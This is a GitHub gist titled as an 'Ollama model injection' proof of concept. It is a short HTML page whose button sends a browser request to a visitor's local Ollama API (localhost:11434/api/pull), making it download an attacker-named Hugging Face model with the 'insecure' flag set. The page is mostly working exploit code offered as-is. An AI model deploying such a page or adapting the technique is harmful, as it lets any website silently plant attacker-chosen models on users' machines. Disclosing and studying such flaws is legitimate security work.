Skip to content

Instantly share code, notes, and snippets.

@Atom1cByte
Created July 16, 2025 11:13
Show Gist options
  • Save Atom1cByte/dd515cb0bef0e6e33f0c878e2199b6ee to your computer and use it in GitHub Desktop.
Save Atom1cByte/dd515cb0bef0e6e33f0c878e2199b6ee to your computer and use it in GitHub Desktop.
model injection ollama final poc
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Ollama Pull Model</title>
<style>
body { font-family: sans-serif; margin: 2em; }
#result { margin-top: 1em; white-space: pre-wrap; }
button { margin-top: 1em; }
</style>
</head>
<body>
<h1>Pull Model from Ollama</h1>
<button id="pull-btn">Pull Model</button>
<div id="result"></div>
<script>
document.getElementById('pull-btn').onclick = async function() {
const btn = this;
btn.disabled = true;
btn.textContent = 'Pulling...';
const resultDiv = document.getElementById('result');
resultDiv.textContent = 'Starting model pull...\n';
try {
const res = await fetch('http://localhost:11434/api/pull', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
model: 'hf.co/RichardErkhov/phanerozoic_-_Tiny-Pirate-1.1b-v0.1-gguf',
insecure: true
})
});
if (!res.ok) throw new Error('Failed to pull model');
// The response is streamed line-by-line JSON, so we need to read it as a stream
const reader = res.body.getReader();
const decoder = new TextDecoder();
let received = '';
while (true) {
const { done, value } = await reader.read();
if (done) break;
const chunk = decoder.decode(value, { stream: true });
received += chunk;
resultDiv.textContent += chunk;
resultDiv.scrollTop = resultDiv.scrollHeight;
}
} catch (e) {
resultDiv.textContent += '\nError: ' + e.message;
}
btn.disabled = false;
btn.textContent = 'Pull Model';
};
</script>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment